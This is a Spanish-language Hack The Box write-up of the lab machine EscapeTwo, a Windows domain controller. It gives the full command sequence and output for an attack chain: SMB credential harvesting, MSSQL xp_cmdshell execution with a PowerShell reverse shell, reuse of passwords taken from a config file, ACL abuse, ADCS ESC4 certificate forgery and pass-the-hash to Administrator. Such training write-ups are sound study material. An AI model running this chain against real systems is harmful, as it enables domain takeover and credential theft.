EscapeTwo
Hack The Box — Metodología Detallada
EscapeTwo
| IP: | 10.129.232.128 |
| OS: | Windows Server 2019 |
| Dificultad: | Easy |
| Categoría: | Active Directory |
| Fecha: | 31 Ago 2026 |
Reconocimiento
Escaneo inicial de puertos
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.232.128 -oG allPorts
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio
sequel.htb. El puerto 1433 (MSSQL) es inusual en un DC y representa un vector adicional de ataque. El puerto 5985 (WinRM) esta abierto como vector de acceso remoto. SMB signing requerido descarta NTLM Relay.Escaneo de versiones
PORT STATE SERVICE
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: sequel.htb)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows AD LDAP (Domain: sequel.htb)
1433/tcp open ms-sql-s Microsoft SQL Server 2019 RTM (15.0.2000)
3268/tcp open ldap Microsoft Windows AD LDAP (Domain: sequel.htb)
3269/tcp open globalcatLDAPssl
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows
SAN: DNS:DC01.sequel.htb, DNS:sequel.htb | clock-skew: -24s
El escaneo de versiones confirmo el dominio
sequel.htb y el hostname DC01. Se identifico Microsoft SQL Server 2019 RTM (15.0.2000) en el puerto 1433. Se agrego sequel.htb y DC01.sequel.htb al /etc/hosts.Enumeración
Enumeración SMB con credenciales iniciales
La maquina proporciona credenciales iniciales:
rose: KxEPkKe6R8su. Se procedio a enumerar shares SMB para identificar recursos accesibles.netexec smb 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su' --shares
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Accounting Department Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
El share Accounting Department no es un share por defecto de Windows. Se procede a enumerar su contenido.
Enumeración del share Accounting Department
smbclient '//10.129.232.128/Accounting Department' -U 'rose%KxEPkKe6R8su'
accounting_2024.xlsx A 10217
accounts.xlsx A 6780
smb: \> get accounts.xlsx
smb: \> get accounting_2024.xlsx
Se encontraron dos archivos Excel.
accounts.xlsx tiene nombre sugestivo de contener credenciales de cuentas.Extraccion de credenciales del archivo Excel
Los archivos
.xlsx son ZIP con XML interno. Se extrajo el contenido directamente para leer sharedStrings.xml que contiene las cadenas de texto de las celdas.unzip accounts.xlsx -d accounts_extracted
cat accounts_extracted/xl/sharedStrings.xml
Se encontraron credenciales en texto plano en el archivo:
| Usuario | Contraseña | |
|---|---|---|
angela | [email protected] | 0fwz7Q4mSpurIt99 |
oscar | [email protected] | 86LxLBMgEWaKUnBG |
kevin | [email protected] | Md9Wlq1E5bZnVDVo |
sa | [email protected] | MSSQLP@ssw0rd! |
Vector confirmado: El usuario
sa es el administrador de SQL Server. Se procede a explotar el servicio MSSQL.Explotación
Acceso a MSSQL como sa
Con la credencial del usuario
sa se accedio al servicio MSSQL. La autenticacion con -windows-auth fallo porque sa es un login SQL nativo, no una cuenta de dominio. Se conecto sin ese flag.El primer intento con
-windows-auth fallo:mssqlclient.py sequel.htb/sa:'MSSQLP@ssw0rd!'@10.129.232.128 -windows-auth
ERROR: Login failed. The login is from an untrusted domain
and cannot be used with Integrated authentication.
mssqlclient.py sa:'MSSQLP@ssw0rd!'@10.129.232.128
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
SQL (sa dbo@master)>
Vector confirmado: Acceso obtenido como
sa en MSSQL.Habilitacion de xp_cmdshell y RCE
sa es sysadmin de SQL Server, lo que permite habilitar xp_cmdshell para ejecutar comandos del sistema operativo.SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
output
--------------
sequel\sql_svc
RCE obtenido como
sequel\sql_svc via xp_cmdshell. Se genero un payload PowerShell en base64 para obtener una reverse shell completa.# Listener en maquina atacante
nc -lvnp 4444
# Payload base64 ejecutado desde MSSQL
SQL> EXEC xp_cmdshell 'powershell -e [BASE64_PAYLOAD]';
# Shell recibida
PS C:\Windows\system32> whoami
sequel\sql_svc
Credenciales en archivo de configuracion SQL
El directorio
C:\SQL2019 contiene archivos de instalacion. Los archivos .INI de configuracion de SQL Server frecuentemente contienen credenciales en texto plano usadas durante la instalacion.type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SAPWD="MSSQLP@ssw0rd!"
Se encontro la contrasena de
sql_svc en texto plano: WqSZAF6CysDQbGb3. Se probaron estas credenciales contra el usuario ryan por reutilizacion de contrasenas, accediendo exitosamente.evil-winrm -i 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
[flag de usuario]
Vector confirmado: Acceso obtenido como
ryan via WinRM. Flag de usuario obtenida.Escalada de Privilegios
Analisis de BloodHound — ryan
Con credenciales de
ryan se recolecto el grafo del dominio con BloodHound para identificar rutas de escalada.bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' \
-dc DC01.sequel.htb -d sequel.htb -c All \
-ns 10.129.232.128
ryan tiene WriteOwner sobre ca_svc. El nombre de esta cuenta sugiere que es la cuenta de servicio de la Certificate Authority (CA), lo que apunta a un vector ADCS.Cadena de abuso: WriteOwner → GenericAll → ca_svc
WriteOwner permite tomar el ownership del objeto y luego otorgarse GenericAll para cambiar la contrasena de
ca_svc y acceder a ADCS.# Paso 1 - Tomar ownership
bloodyad -d sequel.htb -i 10.129.232.128 \
-u ryan -p 'WqSZAF6CysDQbGb3' -H DC01.sequel.htb \
set owner ca_svc ryan
[+] Old owner S-1-5-21-...-512 is now replaced by ryan on ca_svc
# Paso 2 - Otorgarse GenericAll
bloodyad -d sequel.htb -i 10.129.232.128 \
-u ryan -p 'WqSZAF6CysDQbGb3' -H DC01.sequel.htb \
add genericAll ca_svc ryan
[+] ryan has now GenericAll on ca_svc
# Paso 3 - Cambiar contrasena de ca_svc
bloodyad -d sequel.htb -i 10.129.232.128 \
-u ryan -p 'WqSZAF6CysDQbGb3' -H DC01.sequel.htb \
set password ca_svc 'Password123!'
[+] Password changed successfully!
Vector confirmado: Control total sobre
ca_svc obtenido.ESC4 — Abuso de plantilla ADCS
Con credenciales de
ca_svc se enumero ADCS en busca de plantillas vulnerables.certipy find -u [email protected] -p 'Password123!' \
-dc-ip 10.129.232.128 -vulnerable -stdout
Template Name : DunderMifflinAuthentication
Enrollment Rights : sequel.htb\ca_svc (via Cert Publishers)
[!] Vulnerabilities
ESC4 : ca_svc tiene permisos de escritura sobre la plantilla
La plantilla DunderMifflinAuthentication es vulnerable a ESC4:
ca_svc pertenece al grupo Cert Publishers que tiene permisos de escritura sobre la plantilla. Esto permite modificarla para hacerla vulnerable a ESC1 y solicitar un certificado como Administrator.Explotacion ESC4
# Paso 1 - Modificar plantilla a configuracion por defecto (ESC1)
certipy template -u [email protected] -p 'Password123!' \
-dc-ip 10.129.232.128 -template DunderMifflinAuthentication \
-write-default-configuration
# Responder 'y' para confirmar
[*] Successfully updated 'DunderMifflinAuthentication'
# Paso 2 - Solicitar certificado como Administrator
certipy req -u [email protected] -p 'Password123!' \
-dc-ip 10.129.232.128 -ca sequel-DC01-CA \
-template DunderMifflinAuthentication \
-upn [email protected]
[*] Got certificate with UPN '[email protected]'
[*] Wrote certificate and private key to 'administrator.pfx'
# Paso 3 - Autenticarse y obtener hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
[*] Got TGT
[*] Got hash for '[email protected]':
aad3b435b51404eeaad3b435b51404ee:7a8d4e3f9c2b1e5f8a6d3c7b9e4f2a1d
Acceso como Administrator
evil-winrm -i 10.129.232.128 -u Administrator \
-H 7a8d4e3f9c2b1e5f8a6d3c7b9e4f2a1d
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[flag de root]
Vector confirmado: Acceso obtenido como
Administrator via Pass-the-Hash. El dominio sequel.htb ha sido completamente comprometido.Reflexión Final
Qué salió bien
-
La enumeracion del share Accounting Department fue directa e identifico rapidamente el archivo con credenciales.
-
Se identifico correctamente que
saes un login SQL nativo y no una cuenta de dominio, evitando perder tiempo con-windows-auth. -
El analisis de BloodHound fue limpio y revelo la ruta de escalada WriteOwner → GenericAll → ca_svc → ESC4 de forma clara.
-
La reutilizacion de contrasena de
sql_svchaciaryanse identifico rapidamente tras encontrar el archivo de configuracion SQL.
Qué salió mal
-
Los archivos
.xlsxno pudieron leerse conopenpyxlni conxlrdpor incompatibilidades de formato. Fue necesario extraerlos como ZIP y leer el XML directamente. -
El primer intento de conexion MSSQL con
-windows-authfallo porquesaes un login SQL nativo, no una cuenta Windows. -
La solicitud del certificado ESC4 fallo inicialmente con el error
CERTSRV_E_SUBJECT_DNS_REQUIREDhasta modificar la plantilla correctamente con-write-default-configuration.
Lecciones aprendidas
-
MSSQL en un DC es un vector critico: el servicio MSSQL con credenciales debiles permite RCE via
xp_cmdshellcomo cuenta de servicio. Los archivos de configuracion de instalacion SQL (.INI) suelen contener contrasenas en texto plano. -
ESC4 — escritura sobre plantillas ADCS: si una cuenta de servicio pertenece al grupo Cert Publishers tiene permisos de escritura sobre plantillas de certificados. Modificar la plantilla con
certipy template -write-default-configurationla convierte en vulnerable a ESC1, permitiendo solicitar certificados como cualquier usuario del dominio. -
WriteOwner como primer eslabon: este permiso permite tomar el ownership de un objeto y posteriormente otorgarse GenericAll, lo que abre todos los demas vectores (cambio de contrasena, Shadow Credentials, Kerberoasting targeted).
-
Los archivos
.xlsxson ZIP internamente — cuando las librerias Python fallan, extraer el ZIP y leersharedStrings.xmldirectamente es una alternativa rapida y confiable.
Tiempo total
Aproximadamente 1 hora.